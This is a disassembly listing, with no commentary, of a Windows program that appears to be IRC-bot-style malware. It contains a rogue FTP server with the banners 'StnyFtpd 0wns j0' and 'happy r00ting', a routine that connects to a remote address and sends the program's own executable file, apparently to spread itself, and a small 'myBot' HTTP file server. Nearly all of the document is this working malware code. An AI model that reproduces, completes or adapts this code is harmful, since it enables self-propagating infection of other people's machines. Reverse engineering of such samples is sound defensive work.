		call	sub_421070	; __WSAFDIsSet
		test	eax, eax
		jz	loc_406137
		cmp	edi, [ebp-0Ch]
		jnz	short loc_405D35
		lea	eax, [ebp-24h]
		mov	dword ptr [ebp-24h], 10h
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_495530	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_406137
		xor	ecx, ecx
		cmp	[ebp-228h], esi
		jbe	short loc_405CFF
		lea	edx, [ebp-224h]


loc_405CEF:				; CODE XREF: .text:00405CFDj
		cmp	[edx], eax
		jz	short loc_405CFF
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp-228h]
		jb	short loc_405CEF


loc_405CFF:				; CODE XREF: .text:00405CE7j
					; .text:00405CF1j
		cmp	ecx, [ebp-228h]
		jnz	short loc_405D1D
		cmp	dword ptr [ebp-228h], 40h
		jnb	short loc_405D1D
		mov	[ebp+ecx*4-224h], eax
		inc	dword ptr [ebp-228h]


loc_405D1D:				; CODE XREF: .text:00405D05j
					; .text:00405D0Ej
		cmp	eax, [ebp-4]
		jle	short loc_405D25
		mov	[ebp-4], eax


loc_405D25:				; CODE XREF: .text:00405D20j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_406137
; ---------------------------------------------------------------------------


loc_405D35:				; CODE XREF: .text:00405CB9j
		push	esi
		lea	eax, [ebp-29Ch]
		push	64h
		push	eax
		push	edi
		call	ds:dword_495534	; recv
		test	eax, eax
		jg	short loc_405D9C
		mov	edx, [ebp-228h]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_405D90
		lea	eax, [ebp-224h]


loc_405D5C:				; CODE XREF: .text:00405D66j
		cmp	[eax], edi
		jz	short loc_405D6A
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_405D5C
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405D6A:				; CODE XREF: .text:00405D5Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_405D8A
		lea	eax, [ebp+ecx*4-224h]


loc_405D76:				; CODE XREF: .text:00405D88j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp-228h]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_405D76


loc_405D8A:				; CODE XREF: .text:00405D6Dj
		dec	dword ptr [ebp-228h]


loc_405D90:				; CODE XREF: .text:00405D54j
					; .text:00405D68j
		push	edi
		call	ds:dword_495538	; closesocket
		jmp	loc_406137
; ---------------------------------------------------------------------------


loc_405D9C:				; CODE XREF: .text:00405D48j
		lea	eax, [ebp-334h]
		push	eax
		lea	eax, [ebp-0ACh]
		push	eax
		lea	eax, [ebp-29Ch]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416B36
		lea	eax, [ebp-0ACh]
		push	offset aUser	; "USER"
		push	eax
		call	sub_416B70
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405DE0
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_406122
; ---------------------------------------------------------------------------


loc_405DE0:				; CODE XREF: .text:00405DD1j
		lea	eax, [ebp-0ACh]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E04
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_406122
; ---------------------------------------------------------------------------


loc_405E04:				; CODE XREF: .text:00405DF5j
		lea	eax, [ebp-0ACh]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E28
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_406122
; ---------------------------------------------------------------------------


loc_405E28:				; CODE XREF: .text:00405E19j
		lea	eax, [ebp-0ACh]
		push	offset aRest	; "REST"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E4C
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_406122
; ---------------------------------------------------------------------------


loc_405E4C:				; CODE XREF: .text:00405E3Dj
		lea	eax, [ebp-0ACh]
		push	offset off_42BED0
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E70
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_406122
; ---------------------------------------------------------------------------


loc_405E70:				; CODE XREF: .text:00405E61j
		lea	eax, [ebp-0ACh]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EAB
		lea	eax, [ebp-334h]
		push	offset aA	; "A"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EAB
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_406122
; ---------------------------------------------------------------------------


loc_405EAB:				; CODE XREF: .text:00405E85j
					; .text:00405E9Cj
		lea	eax, [ebp-0ACh]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EE6
		lea	eax, [ebp-334h]
		push	offset aI	; "I"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EE6
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_406122
; ---------------------------------------------------------------------------


loc_405EE6:				; CODE XREF: .text:00405EC0j
					; .text:00405ED7j
		lea	eax, [ebp-0ACh]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F34
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp-124h]
		rep movsd
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		movsw
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp-124h]


loc_405F24:				; CODE XREF: .text:00405F73j
		push	eax
		push	dword ptr [ebp+8]
		call	ebx	; send
		xor	esi, esi


loc_405F2C:				; CODE XREF: .text:00406043j
		mov	edi, [ebp+8]
		jmp	loc_406125
; ---------------------------------------------------------------------------


loc_405F34:				; CODE XREF: .text:00405EFBj
		lea	eax, [ebp-0ACh]
		push	offset aList	; "LIST"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F75
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp-0C4h]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		movsb
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp-0C4h]
		jmp	short loc_405F24
; ---------------------------------------------------------------------------


loc_405F75:				; CODE XREF: .text:00405F49j
		lea	eax, [ebp-0ACh]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406048
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-0F8h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-29Ch]
		push	offset aS_0	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416B36
		lea	eax, [ebp-0F8h]
		push	eax
		call	sub_416CCF
		mov	edi, eax
		lea	eax, [ebp-2D0h]
		push	eax
		call	sub_416CCF
		mov	[ebp-8], eax
		push	32h
		lea	eax, [ebp-0F8h]
		push	esi
		push	eax
		call	sub_415CA0
		push	dword ptr [ebp-8]
		lea	eax, [ebp-0F8h]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_416821
		add	esp, 44h
		lea	eax, [ebp-0F8h]
		push	10h
		push	esi
		push	eax
		call	sub_4174DB
		mov	[ebp-8], eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-48h]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_416821
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	dword ptr [ebp+8]
		call	ebx	; send
		jmp	loc_405F2C
; ---------------------------------------------------------------------------


loc_406048:				; CODE XREF: .text:00405F8Aj
		lea	eax, [ebp-0ACh]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406103
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	dword ptr [ebp-8]
		lea	eax, [ebp-48h]
		push	eax
		call	sub_401267
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4060F9
		call	sub_4012DF
		cmp	eax, 1
		jnz	loc_406125
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp-6D8h]
		push	eax
		lea	eax, [ebp-48h]
		push	dword_43DB94
		push	eax
		lea	eax, [ebp-8DCh]
		push	offset dword_42BD04
		push	eax
		call	sub_416821
		add	esp, 14h
		cmp	[ebp-440h], esi
		jnz	short loc_4060EA
		push	esi
		lea	eax, [ebp-8DCh]
		push	dword ptr [ebp-444h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	eax
		push	dword ptr [ebp-6DCh]
		call	sub_4010D2
		add	esp, 14h


loc_4060EA:				; CODE XREF: .text:004060C5j
		lea	eax, [ebp-8DCh]
		push	eax
		call	sub_401014
		pop	ecx
		jmp	short loc_406125
; ---------------------------------------------------------------------------


loc_4060F9:				; CODE XREF: .text:0040607Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_406122
; ---------------------------------------------------------------------------


loc_406103:				; CODE XREF: .text:0040605Dj
		lea	eax, [ebp-0ACh]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406125
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_406122:				; CODE XREF: .text:00405DDBj
					; .text:00405DFFj ...
		push	edi
		call	ebx	; send


loc_406125:				; CODE XREF: .text:00405F2Fj
					; .text:00406089j ...
		push	64h
		lea	eax, [ebp-29Ch]
		push	esi
		push	eax
		call	sub_415CA0
		add	esp, 0Ch


loc_406137:				; CODE XREF: .text:00405CB0j
					; .text:00405CD9j ...
		inc	edi
		cmp	edi, [ebp-4]
		mov	[ebp+8], edi
		jle	loc_405C7E
		jmp	loc_405C43
; ---------------------------------------------------------------------------


loc_406149:				; CODE XREF: .text:00405C6Ej
		push	1
		pop	eax


loc_40614C:				; CODE XREF: .text:00405C20j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062D3	proc near		; CODE XREF: sub_401267j

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_495518	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_49553C	; socket
		push	[ebp+arg_0]
		mov	dword_43DB90, eax
		mov	[ebp+var_10], 2
		call	ds:dword_49550C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_495524	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43DB90
		call	ds:dword_495510	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40634B
		push	dword_43DB90
		call	ds:dword_495538	; closesocket
		call	ds:dword_495514	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40634B:				; CODE XREF: sub_4062D3+60j
		push	1
		pop	eax
		leave
		retn
sub_4062D3	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636F	proc near		; CODE XREF: sub_4012DFj

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	ds:dword_495330	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_42B830
		push	eax
		call	sub_417012
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_406406
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_4063EA
		push	edi
		mov	edi, 400h


loc_4063B2:				; CODE XREF: sub_40636F+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_416DEA
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43DB90
		call	ds:dword_495540	; send
		push	1
		call	ds:dword_495324	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_4063B2
		pop	edi


loc_4063EA:				; CODE XREF: sub_40636F+3Bj
		push	esi
		call	sub_416D94
		pop	ecx
		push	dword_43DB90
		call	ds:dword_495538	; closesocket
		call	ds:dword_495514	; WSACleanup
		push	1
		pop	eax


loc_406406:				; CODE XREF: sub_40636F+35j
		pop	esi
		leave
		retn
sub_40636F	endp

; ---------------------------------------------------------------------------
		db 26h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40642F:				; CODE XREF: sub_4012F8j
		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_416880
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp-5ECh]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		mov	[ebp-14h], esi
		call	sub_415CA0
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp-25Ch]
		call	dword_49165C	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp-22h], ax
		mov	[ebp-20h], ebx
		call	dword_4916DC	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-0Ch], edi
		jz	loc_40681A
		mov	eax, [ebp-254h]
		push	10h
		imul	eax, 234h
		mov	dword_43E92C[eax], edi
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	dword_491688	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681A
		push	7FFFFFFFh
		push	edi
		call	dword_491684	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681A
		lea	eax, [ebp-14h]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4916F8	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681A
		mov	ebx, esi
		mov	[ebp-134h], edi
		mov	[ebp-138h], ebx
		mov	[ebp-8], edi


loc_406506:				; CODE XREF: .text:00406810j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp-138h]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp-6F0h]
		push	eax
		mov	eax, [ebp-8]
		lea	edi, [ebp-6F0h]
		inc	eax
		rep movsd
		push	eax
		call	dword_491644	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_406815
		xor	esi, esi
		mov	[ebp-4], esi


loc_40653C:				; CODE XREF: .text:0040680Aj
		lea	eax, [ebp-6F0h]
		push	eax
		push	esi
		call	dword_491554	; __WSAFDIsSet
		test	eax, eax
		jz	loc_406800
		cmp	esi, [ebp-0Ch]
		jnz	short loc_4065BE
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-10h], 10h
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	dword_4916F0	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_406800
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_406590
		lea	edx, [ebp-134h]


loc_406584:				; CODE XREF: .text:0040658Ej
		cmp	[edx], eax
		jz	short loc_406590
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_406584


loc_406590:				; CODE XREF: .text:0040657Cj
					; .text:00406586j
		cmp	ecx, ebx
		jnz	short loc_4065AD
		cmp	ebx, 40h
		jnb	short loc_4065AD
		mov	[ebp+ecx*4-134h], eax
		mov	ebx, [ebp-138h]
		inc	ebx
		mov	[ebp-138h], ebx


loc_4065AD:				; CODE XREF: .text:00406592j
					; .text:00406597j
		cmp	eax, [ebp-8]
		jbe	loc_406800
		mov	[ebp-8], eax
		jmp	loc_406800
; ---------------------------------------------------------------------------


loc_4065BE:				; CODE XREF: .text:00406555j
		mov	edi, 1000h
		lea	eax, [ebp-28F0h]
		push	edi
		push	0
		push	eax
		call	sub_415CA0
		push	edi
		lea	eax, [ebp-18F0h]
		push	0
		push	eax
		call	sub_415CA0
		add	esp, 18h
		lea	eax, [ebp-28F0h]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_491674	; recv
		test	eax, eax
		jg	short loc_406651
		push	esi
		call	dword_4916F4	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_406800
		lea	eax, [ebp-134h]


loc_406610:				; CODE XREF: .text:0040661Aj
		cmp	[eax], esi
		jz	short loc_406621
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_406610
		jmp	loc_406800
; ---------------------------------------------------------------------------


loc_406621:				; CODE XREF: .text:00406612j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_406645
		lea	eax, [ebp+ecx*4-134h]


loc_40662F:				; CODE XREF: .text:00406643j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp-138h]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40662F


loc_406645:				; CODE XREF: .text:00406626j
		dec	ebx
		mov	[ebp-138h], ebx
		jmp	loc_406800
; ---------------------------------------------------------------------------


loc_406651:				; CODE XREF: .text:004065F7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp-23Ch]
		push	esi
		push	eax
		call	sub_415CA0
		lea	eax, [ebp-28F0h]
		mov	[ebp+8], esi
		push	eax
		call	sub_4158E0
		add	esp, 10h
		test	eax, eax
		jbe	loc_406800


loc_40667F:				; CODE XREF: .text:00406738j
		mov	eax, [ebp+8]
		mov	al, [ebp+eax-28F0h]
		cmp	al, 0Ah
		mov	[ebp+esi-18F0h], al
		jnz	loc_406724
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp-18F0h]
		push	esi
		push	eax
		call	sub_417760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4066F8
		lea	eax, [ebp-18F0h]
		push	eax
		call	sub_4158E0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_4066F8
		mov	eax, offset asc_42BFC4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp-18F0h]
		push	esi
		push	eax
		call	sub_417760
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417760
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4176C0
		push	eax
		lea	eax, [ebp-23Ch]
		push	eax
		call	sub_4175D0
		add	esp, 10h
		jmp	short loc_40670F
; ---------------------------------------------------------------------------


loc_4066F8:				; CODE XREF: .text:004066AEj
					; .text:004066C0j
		lea	eax, [ebp-18F0h]
		push	offset asc_42BFC0 ; "\r\n"
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406743


loc_40670F:				; CODE XREF: .text:004066F6j
		push	edi
		lea	eax, [ebp-18F0h]
		push	0
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_406724:				; CODE XREF: .text:00406692j
		inc	dword ptr [ebp+8]
		lea	eax, [ebp-28F0h]
		push	eax
		inc	esi
		call	sub_4158E0
		cmp	[ebp+8], eax
		pop	ecx
		jb	loc_40667F
		jmp	loc_406800
; ---------------------------------------------------------------------------


loc_406743:				; CODE XREF: .text:0040670Dj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40678D
		lea	eax, [ebp-134h]


loc_40674F:				; CODE XREF: .text:0040675Cj
		mov	esi, [ebp-4]
		cmp	[eax], esi
		jz	short loc_406760
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40674F
		jmp	short loc_406790
; ---------------------------------------------------------------------------


loc_406760:				; CODE XREF: .text:00406754j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_406784
		lea	eax, [ebp+ecx*4-134h]


loc_40676E:				; CODE XREF: .text:00406782j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp-138h]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40676E


loc_406784:				; CODE XREF: .text:00406765j
		dec	ebx
		mov	[ebp-138h], ebx
		jmp	short loc_406790
; ---------------------------------------------------------------------------


loc_40678D:				; CODE XREF: .text:00406747j
		mov	esi, [ebp-4]


loc_406790:				; CODE XREF: .text:0040675Ej
					; .text:0040678Bj
		lea	eax, [ebp-23Ch]
		test	eax, eax
		jz	short loc_4067F9
		lea	eax, [ebp-360h]
		push	eax
		call	sub_4158E0
		mov	edi, eax
		lea	eax, [ebp-23Ch]
		push	eax
		call	sub_4158E0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_4067F9
		and	dword ptr [ebp+8], 0
		lea	eax, [ebp+8]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4916F8	; ioctlsocket
		push	dword ptr [ebp-254h]
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp-248h]
		push	eax
		lea	eax, [ebp-360h]
		push	eax
		push	esi
		call	sub_401325
		add	esp, 14h
		jmp	short loc_406800
; ---------------------------------------------------------------------------


loc_4067F9:				; CODE XREF: .text:00406798j
					; .text:004067BEj
		push	esi
		call	dword_4916F4	; closesocket


loc_406800:				; CODE XREF: .text:0040654Cj
					; .text:00406572j ...
		mov	esi, [ebp-4]
		inc	esi
		cmp	esi, [ebp-8]
		mov	[ebp-4], esi
		jbe	loc_40653C
		jmp	loc_406506
; ---------------------------------------------------------------------------


loc_406815:				; CODE XREF: .text:00406531j
		mov	edi, [ebp-0Ch]
		xor	ebx, ebx


loc_40681A:				; CODE XREF: .text:00406499j
					; .text:004064C1j ...
		call	dword_4915F0	; WSAGetLastError
		push	eax
		lea	eax, [ebp-8F0h]
		push	offset unk_42BF74
		push	eax
		call	sub_416821
		add	esp, 0Ch
		cmp	[ebp-24Ch], ebx
		jnz	short loc_406860
		push	ebx
		lea	eax, [ebp-8F0h]
		push	dword ptr [ebp-250h]
		push	eax
		lea	eax, [ebp-5E8h]
		push	eax
		push	dword ptr [ebp-5ECh]
		call	sub_4010D2
		add	esp, 14h


loc_406860:				; CODE XREF: .text:0040683Bj
		lea	eax, [ebp-8F0h]
		push	eax
		call	sub_401014
		pop	ecx
		push	edi
		call	dword_4916F4	; closesocket
		push	dword ptr [ebp-254h]
		call	sub_4012A3
		pop	ecx
		push	ebx
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 116h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_4069A0:				; CODE XREF: sub_401181j
		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_416880
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp-44Ch]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp-3C8h]
		push	eax
		lea	eax, [ebp-550h]
		push	eax
		call	sub_416821
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-654h]
		push	eax
		call	sub_416821
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp-0A4h], edi
		jz	short loc_406A05
		push	offset aTextHtml ; "text/html"
		jmp	short loc_406A0A
; ---------------------------------------------------------------------------


loc_406A05:				; CODE XREF: .text:004069FCj
		push	offset aApplicationOct ; "application/octet-stream"


loc_406A0A:				; CODE XREF: .text:00406A03j
		lea	eax, [ebp-9Ch]
		push	eax
		call	sub_416821
		pop	ecx
		lea	eax, [ebp-68h]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:dword_49536C	; GetDateFormatA
		lea	eax, [ebp-20h]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_495368	; GetTimeFormatA
		lea	eax, [ebp-20h]
		cmp	dword ptr [ebp-0B8h], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		jnz	short loc_406A83
		lea	eax, [ebp-9Ch]
		push	eax
		lea	eax, [ebp-1654h]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_416821
		add	esp, 24h
		jmp	short loc_406AA4
; ---------------------------------------------------------------------------


loc_406A83:				; CODE XREF: .text:00406A64j
		push	dword ptr [ebp-0B8h]
		lea	eax, [ebp-9Ch]
		push	eax
		lea	eax, [ebp-1654h]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_416821
		add	esp, 28h


loc_406AA4:				; CODE XREF: .text:00406A81j
		lea	eax, [ebp-1654h]
		push	edi
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp-1654h]
		push	eax
		push	dword ptr [ebp-44Ch]
		call	dword_4916AC	; send
		cmp	[ebp-0A4h], edi
		jnz	short loc_406AE4
		lea	eax, [ebp-550h]
		push	eax
		push	dword ptr [ebp-44Ch]
		call	sub_401203
		pop	ecx
		pop	ecx
		jmp	short loc_406B01
; ---------------------------------------------------------------------------


loc_406AE4:				; CODE XREF: .text:00406ACCj
		lea	eax, [ebp-654h]
		push	eax
		push	edi
		push	dword ptr [ebp-44Ch]
		lea	eax, [ebp-550h]
		push	eax
		call	sub_401118
		add	esp, 10h


loc_406B01:				; CODE XREF: .text:00406AE2j
		push	dword ptr [ebp-44Ch]
		call	dword_4916F4	; closesocket
		push	dword ptr [ebp-0B4h]
		call	sub_4012A3
		pop	ecx
		push	edi
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
; ---------------------------------------------------------------------------
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B82	proc near		; CODE XREF: sub_401325j

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415CA0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406BB8
		push	eax
		push	offset aS_5	; "\\%s"
		jmp	short loc_406BC1
; ---------------------------------------------------------------------------


loc_406BB8:				; CODE XREF: sub_406B82+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_406BC1:				; CODE XREF: sub_406B82+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_416821
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_4158E0
		test	eax, eax
		pop	ecx
		jbe	short loc_406C5C
		mov	[ebp+arg_8], 2


loc_406BEC:				; CODE XREF: sub_406B82+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4158E0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_406C2C
		cmp	[ebp+esi+var_10C], 25h
